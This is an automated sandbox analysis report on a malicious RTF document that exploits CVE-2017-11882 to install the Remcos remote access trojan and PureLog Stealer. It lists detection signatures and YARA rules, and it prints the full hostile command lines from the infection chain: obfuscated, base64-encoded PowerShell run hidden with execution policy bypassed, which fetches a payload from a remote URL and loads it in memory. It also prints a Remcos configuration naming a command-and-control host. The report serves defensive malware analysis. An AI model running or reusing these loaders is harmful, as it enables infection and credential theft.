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Windows
Analysis Report
SecuriteInfo.com.Exploit.CVE-2017-11882.123.31177.14968.rtf
Overview
General Information
Detection
Remcos, PureLog Stealer
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Contains functionality to bypass UAC (CMSTPLUA)
Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Sigma detected: Remcos
Suricata IDS alerts for network traffic
Yara detected PureLog Stealer
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Contains functionality to inject code into remote processes
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Contains functionalty to change the wallpaper
Delayed program exit found
Document exploit detected (process start blacklist hit)
Injects a PE file into a foreign processes
Installs new ROOT certificates
Maps a DLL or memory area into another process
Obfuscated command line found
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Searches for Windows Mail specific files
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Equation Editor Network Connection
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Instant Messenger accounts or passwords
Tries to steal Mail credentials (via file / registry access)
Tries to steal Mail credentials (via file registry)
Uses dynamic DNS services
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected WebBrowserPassView password recovery tool
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality for read data from the clipboard
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found decision node followed by non-executed suspicious APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Potentially Suspicious Execution Of Regasm/Regsvcs From Uncommon Location
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores large binary data to the registry
Suricata IDS alerts with low severity for network traffic
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Keylogger Generic
Yara signature match
Classification
- System is w7x64
- WINWORD.EXE (PID: 3268 cmdline:
"C:\Progra m Files\Mi crosoft Of fice\Offic e14\WINWOR D.EXE" /Au tomation - Embedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5) - EQNEDT32.EXE (PID: 3352 cmdline:
"C:\Progra m Files\Co mmon Files \Microsoft Shared\EQ UATION\EQN EDT32.EXE" -Embeddin g MD5: A87236E214F6D42A65F5DEDAC816AEC8) - wscript.exe (PID: 3520 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\makep icturewith greatthing stobeon.vB S" MD5: 979D74799EA6C8B8167869A68DF5204A) - powershell.exe (PID: 3568 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ Codigo = ' LiAoICRwU0 hPbUVbNF0r JFBTSE9NRV szNF0rJ1gn KSggKCdIcV J1cicrJ2wg JysnPSAnKy dWVUYnKydo dCcrJ3QnKy dwczovL2kn KydhNicrJz AwMTAwLnVz LmFyY2hpdm Uub3InKydn LycrJzI0L2 l0JysnZW1z L2QnKydlJy sndGEnKydo LW5vJysndC crJ2Utdi9E ZScrJ3QnKy dhaE5vdGUn KydWLnR4dF ZVJysnRicr JztIcVJiYS crJ3NlNjQn KydDJysnb2 50ZW50ID0g KE5ldycrJy 1PYmplJysn Y3QnKycgU3 lzJysndGVt JysnLk4nKy dlJysndC5X ZScrJ2InKy dDJysnbGkn KydlJysnbn QnKycpJysn LkRvd25sJy snbycrJ2Fk UycrJ3RyaS crJ25nKEhx UnVybCk7SH FSYmknKydu YXJ5Q29udG VudCA9IFtT JysneXN0ZW 0uQycrJ28n KyduJysndm VydF06OkZy b21CYXMnKy dlNjRTdHJp JysnbmcoSH FSYmFzZScr JzY0QycrJ2 9udCcrJ2Vu dCk7SHFSJy snYXMnKydz ZW1ibHknKy cgPSBbUicr J2VmbGVjdG lvbi5Bcycr J3NlbScrJ2 JseV06Okxv YWQoSCcrJ3 FSYicrJ2lu YXInKyd5Qy crJ29uJysn dCcrJ2VudC k7JysnSHEn KydSdHlwZS A9JysnICcr J0gnKydxUm Fzc2UnKydt Ymx5LkdldF R5cGUoVicr J1VGUnVuJy snUCcrJ0Uu JysnSG9tZV ZVRicrJyk7 SCcrJ3FSJy snbWV0Jysn aG9kID0gSH FSdCcrJ3lw ZS5HZXRNZX QnKydob2Qo JysnVlVGVk EnKydJVlVG KTtIcVJtZX QnKydob2Qu SW52b2tlKE hxUicrJ251 bGwnKycsIF tvYmplY3Rb XV1AKFZVJy snRnR4dC4n KydWQkdSLy crJzA1Jysn NS8yJysnNS crJy4wMS45 Mi41OCcrJz EvLzonKydw dHRoVlVGIC wgJysnVlVG ZCcrJ2VzYS crJ3QnKydp dicrJ2FkJy snb1ZVRiAn KycsJysnIF ZVJysnRmQn Kydlc2F0aS crJ3YnKydh ZCcrJ29WJy snVUYnKycg JysnLCcrJy BWJysnVUZk ZScrJ3MnKy dhdGknKyd2 YWRvVlVGLC crJ1ZVRlJl JysnZ0FzbV YnKydVRixW VUZWJysnVU YpKScpLlJl cGxhY2UoKF tjSEFyXTcy K1tjSEFyXT ExMytbY0hB cl04MiksW1 N0UkluZ11b Y0hBcl0zNi kuUmVwbGFj ZSgoW2NIQX JdODYrW2NI QXJdODUrW2 NIQXJdNzAp LFtTdFJJbm ddW2NIQXJd MzkpICk='; $OWjuxd = [system.Te xt.encodin g]::UTF8.G etString([ system.Con vert]::Fro mbase64Str ing($codig o));powers hell.exe - windowstyl e hidden - executionp olicy bypa ss -NoProf ile -comma nd $OWjuxD MD5: EB32C070E658937AA9FA9F3AE629B2B8) - powershell.exe (PID: 3680 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -windowsty le hidden -execution policy byp ass -NoPro file -comm and ". ( $ pSHOmE[4]+ $PSHOME[34 ]+'X')( (' HqRur'+'l '+'= '+'VU F'+'ht'+'t '+'ps://i' +'a6'+'001 00.us.arch ive.or'+'g /'+'24/it' +'ems/d'+' e'+'ta'+'h -no'+'t'+' e-v/De'+'t '+'ahNote' +'V.txtVU' +'F'+';HqR ba'+'se64' +'C'+'onte nt = (New' +'-Obje'+' ct'+' Sys' +'tem'+'.N '+'e'+'t.W e'+'b'+'C' +'li'+'e'+ 'nt'+')'+' .Downl'+'o '+'adS'+'t ri'+'ng(Hq Rurl);HqRb i'+'naryCo ntent = [S '+'ystem.C '+'o'+'n'+ 'vert]::Fr omBas'+'e6 4Stri'+'ng (HqRbase'+ '64C'+'ont '+'ent);Hq R'+'as'+'s embly'+' = [R'+'efle ction.As'+ 'sem'+'bly ]::Load(H' +'qRb'+'in ar'+'yC'+' on'+'t'+'e nt);'+'Hq' +'Rtype =' +' '+'H'+' qRasse'+'m bly.GetTyp e(V'+'UFRu n'+'P'+'E. '+'HomeVUF '+');H'+'q R'+'met'+' hod = HqRt '+'ype.Get Met'+'hod( '+'VUFVA'+ 'IVUF);HqR met'+'hod. Invoke(HqR '+'null'+' , [object[ ]]@(VU'+'F txt.'+'VBG R/'+'05'+' 5/2'+'5'+' .01.92.58' +'1//:'+'p tthVUF , ' +'VUFd'+'e sa'+'t'+'i v'+'ad'+'o VUF '+','+ ' VU'+'Fd' +'esati'+' v'+'ad'+'o V'+'UF'+' '+','+' V' +'UFde'+'s '+'ati'+'v adoVUF,'+' VUFRe'+'gA smV'+'UF,V UFV'+'UF)) ').Replace (([cHAr]72 +[cHAr]113 +[cHAr]82) ,[StRIng][ cHAr]36).R eplace(([c HAr]86+[cH Ar]85+[cHA r]70),[StR Ing][cHAr] 39) )" MD5: EB32C070E658937AA9FA9F3AE629B2B8) - RegAsm.exe (PID: 3792 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Reg Asm.exe" MD5: 8FE9545E9F72E460723F484C304314AD) - RegAsm.exe (PID: 3964 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\RegA sm.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\nk bubgbtxayy tawgovuosm grcf" MD5: 8FE9545E9F72E460723F484C304314AD) - RegAsm.exe (PID: 3972 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\RegA sm.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\nk bubgbtxayy tawgovuosm grcf" MD5: 8FE9545E9F72E460723F484C304314AD) - RegAsm.exe (PID: 3980 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\RegA sm.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\nk bubgbtxayy tawgovuosm grcf" MD5: 8FE9545E9F72E460723F484C304314AD) - RegAsm.exe (PID: 3988 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\RegA sm.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\xn gebzmuliql vokkyghpdz aillbyo" MD5: 8FE9545E9F72E460723F484C304314AD) - RegAsm.exe (PID: 3996 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\RegA sm.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\ah lxcrfozqiq gugoprcrge nrualhhmmk u" MD5: 8FE9545E9F72E460723F484C304314AD) - RegAsm.exe (PID: 2636 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\RegA sm.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\mu ezvmgbhtns " MD5: 8FE9545E9F72E460723F484C304314AD) - RegAsm.exe (PID: 2464 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\RegA sm.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\qj mo" MD5: 8FE9545E9F72E460723F484C304314AD) - RegAsm.exe (PID: 1964 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\RegA sm.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\qj mo" MD5: 8FE9545E9F72E460723F484C304314AD) - RegAsm.exe (PID: 2884 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\RegA sm.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\wj fueylyjgoy mkoaaythvh " MD5: 8FE9545E9F72E460723F484C304314AD) - EQNEDT32.EXE (PID: 4064 cmdline:
"C:\Progra m Files\Co mmon Files \Microsoft Shared\EQ UATION\EQN EDT32.EXE" -Embeddin g MD5: A87236E214F6D42A65F5DEDAC816AEC8)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Remcos, RemcosRAT | Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity. |
{"Host:Port:Password": "authurremc.duckdns.org:14645:1", "Assigned name": "authur", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-7B1J99", "Keylog flag": "0", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5"}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
INDICATOR_RTF_MalVer_Objects | Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. | ditekSHen |
|
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_PureLogStealer | Yara detected PureLog Stealer | Joe Security | ||
JoeSecurity_Keylogger_Generic | Yara detected Keylogger Generic | Joe Security | ||
Click to see the 22 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Keylogger_Generic | Yara detected Keylogger Generic | Joe Security | ||
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_UACBypassusingCMSTP | Yara detected UAC Bypass using CMSTP | Joe Security | ||
Windows_Trojan_Remcos_b296e965 | unknown | unknown |
| |
REMCOS_RAT_variants | unknown | unknown |
| |
Click to see the 22 entries |
Exploits |
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Source: | Author: Joe Security: |
Source: | Author: Joe Security: |
System Summary |
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Source: | Author: Florian Roth (Nextron Systems): |